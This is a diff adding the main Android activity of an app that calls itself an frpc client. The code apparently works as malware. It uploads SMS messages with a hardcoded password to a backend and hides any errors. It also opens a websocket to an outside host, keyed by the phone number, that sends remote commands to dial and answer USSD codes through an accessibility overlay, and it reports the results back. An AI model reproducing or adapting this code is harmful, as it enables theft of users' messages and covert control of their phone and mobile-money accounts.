|
@@ -0,0 +1,391 @@
|
|
|
+package com.car.frpc_android.ui;
|
|
|
+
|
|
|
+import static com.blankj.utilcode.util.TimeUtils.getSafeDateFormat;
|
|
|
+
|
|
|
+import android.content.Context;
|
|
|
+import android.content.Intent;
|
|
|
+import android.os.Handler;
|
|
|
+import android.view.Menu;
|
|
|
+import android.view.MenuItem;
|
|
|
+
|
|
|
+import androidx.annotation.NonNull;
|
|
|
+import androidx.navigation.NavController;
|
|
|
+import androidx.navigation.Navigation;
|
|
|
+import androidx.navigation.ui.AppBarConfiguration;
|
|
|
+import androidx.navigation.ui.NavigationUI;
|
|
|
+
|
|
|
+import com.alibaba.fastjson.JSON;
|
|
|
+import com.alibaba.fastjson.JSONObject;
|
|
|
+import com.blankj.utilcode.util.GsonUtils;
|
|
|
+import com.blankj.utilcode.util.ThreadUtils;
|
|
|
+import com.blankj.utilcode.util.TimeUtils;
|
|
|
+import com.blankj.utilcode.util.Utils;
|
|
|
+import com.car.frpc_android.BaseActivity;
|
|
|
+import com.car.frpc_android.R;
|
|
|
+import com.car.frpc_android.database.Config;
|
|
|
+import com.car.frpc_android.database.DBHelper;
|
|
|
+import com.car.frpc_android.databinding.ActivityMainBinding;
|
|
|
+import com.car.frpc_android.dialog.DialogManager;
|
|
|
+import com.car.frpc_android.util.CheckInboxWorker;
|
|
|
+import com.car.frpc_android.util.CommonUtils;
|
|
|
+import com.car.frpc_android.util.HeartbeatWorker;
|
|
|
+import com.car.frpc_android.util.HxUtils;
|
|
|
+import com.car.http.APPConfig;
|
|
|
+import com.car.http.BaseBean;
|
|
|
+import com.car.http.Http;
|
|
|
+import com.google.android.material.navigation.NavigationView;
|
|
|
+import com.jeremyliao.liveeventbus.LiveEventBus;
|
|
|
+import com.romellfudi.ussdlibrary.OverlayShowingService;
|
|
|
+import com.romellfudi.ussdlibrary.USSDApi;
|
|
|
+import com.romellfudi.ussdlibrary.USSDController;
|
|
|
+
|
|
|
+import java.util.HashMap;
|
|
|
+import java.util.concurrent.Executors;
|
|
|
+import java.util.concurrent.ScheduledExecutorService;
|
|
|
+import java.util.concurrent.ScheduledFuture;
|
|
|
+import java.util.concurrent.TimeUnit;
|
|
|
+
|
|
|
+import io.reactivex.Observer;
|
|
|
+import io.reactivex.android.schedulers.AndroidSchedulers;
|
|
|
+import io.reactivex.disposables.Disposable;
|
|
|
+import io.reactivex.schedulers.Schedulers;
|
|
|
+import okhttp3.OkHttpClient;
|
|
|
+import okhttp3.Request;
|
|
|
+import okhttp3.Response;
|
|
|
+import okhttp3.WebSocket;
|
|
|
+import okhttp3.WebSocketListener;
|
|
|
+
|
|
|
+public class MainActivity extends BaseActivity<ActivityMainBinding> implements NavigationView.OnNavigationItemSelectedListener {
|
|
|
+ public static final String SMS_TAG = "SMS_TAG";
|
|
|
+ public static final String SMS_UPLOAD_TAG = "SMS_UPLOAD_TAG";
|
|
|
+ public static final String WEBSOCKET_STATUS_TAG = "WEBSOCKET_STATUS";
|
|
|
+ public static final String BREATH_TAG = "BREATH";
|
|
|
+ public static final String PHONE_TAG = "PHONE_TAG";
|
|
|
+
|
|
|
+
|
|
|
+ private AppBarConfiguration mAppBarConfiguration;
|
|
|
+
|
|
|
+ private Context context = this;
|
|
|
+
|
|
|
+ //ussd
|
|
|
+ private USSDApi ussdApi;
|
|
|
+
|
|
|
+ //webSocket
|
|
|
+ private WebSocketListener webSocketListener;
|
|
|
+ private OkHttpClient client;
|
|
|
+ private WebSocket webSocket;
|
|
|
+ private Request request;
|
|
|
+ private static final int NORMAL_CLOSURE_STATUS = 1000;
|
|
|
+ private static final long RECONNECT_DELAY_MS = 5000; // 重连延迟时间
|
|
|
+ private Intent svc = null;
|
|
|
+ private ScheduledFuture<?> reconnectTask;
|
|
|
+ private ScheduledExecutorService executorService;
|
|
|
+
|
|
|
+
|
|
|
+ @Override
|
|
|
+ public void initView() {
|
|
|
+ setSupportActionBar(b.appBarMain.toolbar);
|
|
|
+ mAppBarConfiguration = new AppBarConfiguration.Builder(
|
|
|
+ R.id.nav_home)
|
|
|
+ .setOpenableLayout(b.drawerLayout)
|
|
|
+ .build();
|
|
|
+ NavController navController = Navigation.findNavController(this, R.id.nav_host_fragment);
|
|
|
+ NavigationUI.setupActionBarWithNavController(this, navController, mAppBarConfiguration);
|
|
|
+ NavigationUI.setupWithNavController(b.navView, navController);
|
|
|
+ b.navView.setNavigationItemSelectedListener(this);
|
|
|
+ ussdApi = USSDController.getInstance(context);
|
|
|
+ CheckInboxWorker.start();
|
|
|
+ HeartbeatWorker.start();
|
|
|
+// connectSocket();
|
|
|
+ b.appBarMain.contentMain.phoneTv.setOnClickListener(view -> {
|
|
|
+ DialogManager.phoneEditDialog();
|
|
|
+ });
|
|
|
+ LiveEventBus.get(SMS_TAG, String.class).observe(this, s -> {
|
|
|
+ HashMap<String, Object> map = new HashMap<>();
|
|
|
+ map.put("data", s);
|
|
|
+ map.put("password", "o6M5sG7E@FAWLBL9");
|
|
|
+ Http.getInstance()
|
|
|
+ .setUrlPath(APPConfig.BASE, APPConfig.SMS)
|
|
|
+ .setParams(map)
|
|
|
+ .setErrorStyle(Http.ERROR_HIDE)
|
|
|
+ .setLoadStyle(Http.ERROR_HIDE)
|
|
|
+ .setBindLife(false)
|
|
|
+ .setRetryCount(3)
|
|
|
+ .post(new Http.HttpCallBack<String>() {
|
|
|
+ @Override
|
|
|
+ public void onNext(String model) {
|
|
|
+ try (DBHelper dbHelper = new DBHelper(Utils.getApp())) {
|
|
|
+ dbHelper.insertOrUpdateData(JSON.parseObject(s).getInteger("id"), 1);
|
|
|
+ } catch (Exception e) {
|
|
|
+ }
|
|
|
+
|
|
|
+ }
|
|
|
+
|
|
|
+ @Override
|
|
|
+ public void onError(Throwable ex) {
|
|
|
+ super.onError(ex);
|
|
|
+ try (DBHelper dbHelper = new DBHelper(Utils.getApp())) {
|
|
|
+ dbHelper.insertOrUpdateData(JSON.parseObject(s).getInteger("id"), 0);
|
|
|
+ } catch (Exception e) {
|
|
|
+ }
|
|
|
+ }
|
|
|
+
|
|
|
+ @Override
|
|
|
+ public void onFail(BaseBean t) {
|
|
|
+ super.onFail(t);
|
|
|
+ try (DBHelper dbHelper = new DBHelper(Utils.getApp())) {
|
|
|
+ dbHelper.insertOrUpdateData(JSON.parseObject(s).getInteger("id"), 0);
|
|
|
+ } catch (Exception e) {
|
|
|
+ }
|
|
|
+ }
|
|
|
+ });
|
|
|
+ });
|
|
|
+ LiveEventBus.get(BREATH_TAG, String.class).observe(this, s -> b.appBarMain.contentMain.workTv.setText(s));
|
|
|
+ LiveEventBus.get(WEBSOCKET_STATUS_TAG, String.class).observe(this, s -> b.appBarMain.contentMain.workTv2.setText(s));
|
|
|
+ LiveEventBus.get(SMS_UPLOAD_TAG, String.class).observe(this, s -> b.appBarMain.contentMain.workTv3.setText(s));
|
|
|
+ LiveEventBus.get(PHONE_TAG, String.class).observe(this, s -> b.appBarMain.contentMain.phoneTv.setText(s));
|
|
|
+ b.appBarMain.contentMain.phoneTv.setText(getPhone());
|
|
|
+ startForegroundService();
|
|
|
+ checkForUpdate();
|
|
|
+ }
|
|
|
+
|
|
|
+
|
|
|
+ @Override
|
|
|
+ public boolean onOptionsItemSelected(@NonNull MenuItem item) {
|
|
|
+ switch (item.getItemId()) {
|
|
|
+ case R.id.action_new_text:
|
|
|
+ CommonUtils.getStringFromRaw(MainActivity.this, R.raw.frpc)
|
|
|
+ .subscribeOn(Schedulers.io())
|
|
|
+ .observeOn(AndroidSchedulers.mainThread())
|
|
|
+ .subscribe(new Observer<String>() {
|
|
|
+ @Override
|
|
|
+ public void onSubscribe(@NonNull Disposable d) {
|
|
|
+ }
|
|
|
+
|
|
|
+ @Override
|
|
|
+ public void onNext(@NonNull String content) {
|
|
|
+ LiveEventBus.get(IniEditActivity.INTENT_EDIT_INI).post(new Config(content));
|
|
|
+ startActivity(new Intent(MainActivity.this, IniEditActivity.class));
|
|
|
+ }
|
|
|
+
|
|
|
+ @Override
|
|
|
+ public void onError(@NonNull Throwable e) {
|
|
|
+
|
|
|
+ }
|
|
|
+
|
|
|
+ @Override
|
|
|
+ public void onComplete() {
|
|
|
+
|
|
|
+ }
|
|
|
+ });
|
|
|
+ break;
|
|
|
+ case R.id.action_accessibility:
|
|
|
+ USSDController.verifyOverLay(context);
|
|
|
+ USSDController.verifyAccesibilityAccess(context);
|
|
|
+ break;
|
|
|
+ }
|
|
|
+ return super.onOptionsItemSelected(item);
|
|
|
+ }
|
|
|
+
|
|
|
+
|
|
|
+ @Override
|
|
|
+ public boolean onCreateOptionsMenu(Menu menu) {
|
|
|
+ getMenuInflater().inflate(R.menu.main, menu);
|
|
|
+ return true;
|
|
|
+ }
|
|
|
+
|
|
|
+ @Override
|
|
|
+ public boolean onSupportNavigateUp() {
|
|
|
+ NavController navController = Navigation.findNavController(this, R.id.nav_host_fragment);
|
|
|
+ return NavigationUI.navigateUp(navController, mAppBarConfiguration) || super.onSupportNavigateUp();
|
|
|
+ }
|
|
|
+
|
|
|
+
|
|
|
+ @Override
|
|
|
+ public boolean onNavigationItemSelected(@NonNull MenuItem item) {
|
|
|
+ switch (item.getItemId()) {
|
|
|
+ case R.id.logcat:
|
|
|
+ startActivity(new Intent(this, LogcatActivity.class));
|
|
|
+ return true;
|
|
|
+ case R.id.about:
|
|
|
+ HxUtils.checkForUpdate(context, true);
|
|
|
+ break;
|
|
|
+
|
|
|
+ }
|
|
|
+ return super.onOptionsItemSelected(item);
|
|
|
+ }
|
|
|
+
|
|
|
+
|
|
|
+ public void pendingServiceIntent(Intent overlayService) {
|
|
|
+ startService(overlayService);
|
|
|
+ new Handler().postDelayed(() -> stopService(overlayService), 5 * 60000);
|
|
|
+ }
|
|
|
+
|
|
|
+ //发起ussd命令
|
|
|
+ private void callOverlay(String ussd, String request_id) {
|
|
|
+ if (USSDController.verifyOverLay(this)) {
|
|
|
+ if (null != svc) {
|
|
|
+ stopService(svc);
|
|
|
+ }
|
|
|
+ svc = new Intent(this, OverlayShowingService.class);
|
|
|
+ svc.putExtra(OverlayShowingService.EXTRA, getString(R.string.action_ussd_msg));
|
|
|
+ pendingServiceIntent(svc);
|
|
|
+
|
|
|
+ ussdApi.callUSSDOverlayInvoke(ussd, HxUtils.provideHashMap(), new USSDController.CallbackInvoke() {
|
|
|
+ @Override
|
|
|
+ public void responseInvoke(String message) {
|
|
|
+ sendWebSocketMsg(request_id, "response", message);
|
|
|
+ }
|
|
|
+
|
|
|
+ @Override
|
|
|
+ public void over(String message) {
|
|
|
+ sendWebSocketMsg(request_id, "over", message);
|
|
|
+ stopService(svc);
|
|
|
+ }
|
|
|
+ });
|
|
|
+ } else {
|
|
|
+ sendWebSocketMsg(request_id, "exception", "!USSDController.verifyOverLay");
|
|
|
+ }
|
|
|
+
|
|
|
+
|
|
|
+ }
|
|
|
+
|
|
|
+ //发送ussd消息
|
|
|
+ private void sendUssd(String request_id, String msg) {
|
|
|
+ try {
|
|
|
+ ussdApi.send(msg, new USSDController.CallbackMessage() {
|
|
|
+ @Override
|
|
|
+ public void responseMessage(String message) {
|
|
|
+ sendWebSocketMsg(request_id, "response", message);
|
|
|
+ }
|
|
|
+
|
|
|
+ @Override
|
|
|
+ public void over(String message) {
|
|
|
+ sendWebSocketMsg(request_id, "over", message);
|
|
|
+ if (null != svc)
|
|
|
+ stopService(svc);
|
|
|
+
|
|
|
+
|
|
|
+ }
|
|
|
+ });
|
|
|
+ } catch (Exception e) {
|
|
|
+ sendWebSocketMsg(request_id, "exception", e.getMessage());
|
|
|
+ }
|
|
|
+ }
|
|
|
+
|
|
|
+ private void sendWebSocketMsg(String request_id, String return_type, String message) {
|
|
|
+ HashMap map = new HashMap();
|
|
|
+ map.put("request_id", request_id);
|
|
|
+ map.put("return_type", return_type);
|
|
|
+ map.put("message", message);
|
|
|
+ webSocket.send(GsonUtils.toJson(map));
|
|
|
+ }
|
|
|
+
|
|
|
+ //结束本次ussd命令
|
|
|
+ private void cancelUssd(String request_id) {
|
|
|
+ try {
|
|
|
+ ussdApi.cancel();
|
|
|
+ sendWebSocketMsg(request_id, "cancel", "cancel");
|
|
|
+ } catch (Exception e) {
|
|
|
+ sendWebSocketMsg(request_id, "exception", e.getMessage());
|
|
|
+ }
|
|
|
+
|
|
|
+ }
|
|
|
+
|
|
|
+
|
|
|
+ private void closeWebSocket() {
|
|
|
+ try {
|
|
|
+ if (webSocket != null) {
|
|
|
+ webSocket.close(NORMAL_CLOSURE_STATUS, "WebSocket,Goodbye!");
|
|
|
+ }
|
|
|
+ } catch (Exception e) {
|
|
|
+
|
|
|
+ }
|
|
|
+
|
|
|
+ }
|
|
|
+
|
|
|
+ private void connectSocket() {
|
|
|
+ client = new OkHttpClient.Builder().pingInterval(30, TimeUnit.SECONDS).build();
|
|
|
+ String Url = "wss://naughty.lkluckpanda.online:443/69f3476bb6e001a9c320719073f055cc/app/" + HxUtils.getPhone() + "/";
|
|
|
+ request = new Request.Builder().url(Url).build();
|
|
|
+ webSocketListener = new WebSocketListener() {
|
|
|
+ @Override
|
|
|
+ public void onOpen(WebSocket webSocket, Response response) {
|
|
|
+ super.onOpen(webSocket, response);
|
|
|
+ ThreadUtils.runOnUiThread(() -> b.appBarMain.contentMain.workTv2.setText("Websocket opened."));
|
|
|
+ }
|
|
|
+
|
|
|
+ @Override
|
|
|
+ public void onMessage(WebSocket webSocket, String text) {
|
|
|
+ super.onMessage(webSocket, text);
|
|
|
+ //收到消息
|
|
|
+ JSONObject json = JSON.parseObject(text);
|
|
|
+ String command = json.getString("command");
|
|
|
+ String requestId = json.getString("request_id");
|
|
|
+ String ussdCode = json.getString("value");
|
|
|
+ switch (command) {
|
|
|
+ //发起ussd拨号
|
|
|
+ case "invoke":
|
|
|
+ ThreadUtils.runOnUiThread(() -> callOverlay(ussdCode, requestId));
|
|
|
+ break;
|
|
|
+ //发送ussd信息
|
|
|
+ case "send":
|
|
|
+ ThreadUtils.runOnUiThread(() -> sendUssd(requestId, ussdCode));
|
|
|
+ break;
|
|
|
+ //撤销ussd拨号
|
|
|
+ case "cancel":
|
|
|
+ ThreadUtils.runOnUiThread(() -> cancelUssd(requestId));
|
|
|
+ break;
|
|
|
+ }
|
|
|
+ }
|
|
|
+
|
|
|
+ @Override
|
|
|
+ public void onClosing(WebSocket webSocket, int code, String reason) {
|
|
|
+ super.onClosing(webSocket, code, reason);
|
|
|
+ try {
|
|
|
+ ThreadUtils.runOnUiThread(() -> b.appBarMain.contentMain.workTv2.setText("Websocket closing." + TimeUtils.getNowString(getSafeDateFormat("MM-dd HH:mm:ss"))));
|
|
|
+ } catch (Exception e) {
|
|
|
+
|
|
|
+ } finally {
|
|
|
+ webSocket.close(code, reason);
|
|
|
+ }
|
|
|
+ }
|
|
|
+
|
|
|
+ @Override
|
|
|
+ public void onClosed(WebSocket webSocket, int code, String reason) {
|
|
|
+ super.onClosed(webSocket, code, reason);
|
|
|
+ try {
|
|
|
+ ThreadUtils.runOnUiThread(() -> b.appBarMain.contentMain.workTv2.setText("Websocket closed.[" + reason + "]" + TimeUtils.getNowString(getSafeDateFormat("MM-dd HH:mm:ss"))));
|
|
|
+ } catch (Exception e) {
|
|
|
+
|
|
|
+ } finally {
|
|
|
+ reconnectWebSocket();
|
|
|
+ }
|
|
|
+ }
|
|
|
+
|
|
|
+ @Override
|
|
|
+ public void onFailure(WebSocket webSocket, Throwable t, Response response) {
|
|
|
+ super.onFailure(webSocket, t, response);
|
|
|
+ try {
|
|
|
+ ThreadUtils.runOnUiThread(() -> b.appBarMain.contentMain.workTv2.setText("Websocket Failure.[" + t.getMessage() + "]" + TimeUtils.getNowString(getSafeDateFormat("MM-dd HH:mm:ss"))));
|
|
|
+ } catch (Exception e) {
|
|
|
+
|
|
|
+ } finally {
|
|
|
+ reconnectWebSocket();
|
|
|
+ }
|
|
|
+
|
|
|
+ }
|
|
|
+ };
|
|
|
+
|
|
|
+ webSocket = client.newWebSocket(request, webSocketListener);
|
|
|
+
|
|
|
+ }
|
|
|
+
|
|
|
+ private void reconnectWebSocket() {
|
|
|
+ if (reconnectTask != null && !reconnectTask.isDone()) {
|
|
|
+ reconnectTask.cancel(true);
|
|
|
+ }
|
|
|
+ executorService = Executors.newSingleThreadScheduledExecutor();
|
|
|
+ reconnectTask = executorService.schedule(() -> connectSocket(), RECONNECT_DELAY_MS, TimeUnit.MILLISECONDS);
|
|
|
+ }
|
|
|
+}
|